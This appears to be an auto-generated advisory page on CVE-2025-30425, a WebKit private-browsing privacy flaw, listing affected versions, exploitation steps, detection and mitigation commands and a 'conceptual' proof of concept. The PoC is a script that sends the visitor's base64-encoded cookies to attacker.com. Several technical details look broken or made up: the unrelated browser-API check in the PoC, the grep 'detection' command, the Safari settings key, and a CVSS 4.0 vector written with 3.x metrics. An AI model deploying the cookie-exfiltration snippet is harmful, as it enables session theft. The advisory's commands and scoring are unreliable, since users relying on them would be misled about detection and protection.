How the CVE Works:
CVE-2025-30425 is a critical privacy bypass flaw in Apple’s WebKit browser engine, affecting Safari and iOS/macOS apps using WebView. The vulnerability allows malicious websites to track users even in private browsing mode due to improper state management. Attackers exploit this by injecting tracking scripts that persist across sessions, bypassing Safari’s privacy protections. The issue stems from WebKit failing to fully isolate private browsing sessions, allowing cached data or DOM artifacts to leak user activity.
DailyCVE Form:
Platform: Apple WebKit
Version: Safari <18.4, iOS/iPadOS <17.7.6/18.4, macOS <15.4
Vulnerability: Privacy Bypass
Severity: Critical
Date: 04/07/2025
What Undercode Say:
Exploitation:
- Malicious site embeds tracking scripts leveraging WebKit’s state mishandling.
2. Scripts persist in memory/cache during private sessions.
3. Exfiltrate user data via hidden requests.
Detection:
grep -r "WebKit/.CachedFrame" /System/Library/Frameworks/WebKit.framework
Mitigation:
- Update to Safari 18.4+, iOS 17.7.6+, or macOS 15.4+.
2. Disable JavaScript in private mode (temporary workaround):
defaults write com.apple.Safari WebKitJavaScriptEnabledInPrivateBrowsing -bool false
PoC (Conceptual):
<script>
if (window.webkitRequestFileSystem) {
// Exploit cached state to leak data
fetch("https://attacker.com/log?data=" + btoa(document.cookie));
}
</script>
Analytics:
- Attack Vector: Remote (web-based).
- Impact: User tracking, data leakage.
- Patch Link: Apple Security Updates.
Post-Patch Checks:
system_profiler SPSoftwareDataType | grep "System Version"
References:
- CWE-359: Exposure of Private Information.
- CVSS:4.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-30425
Extra Source Hub:
Undercode
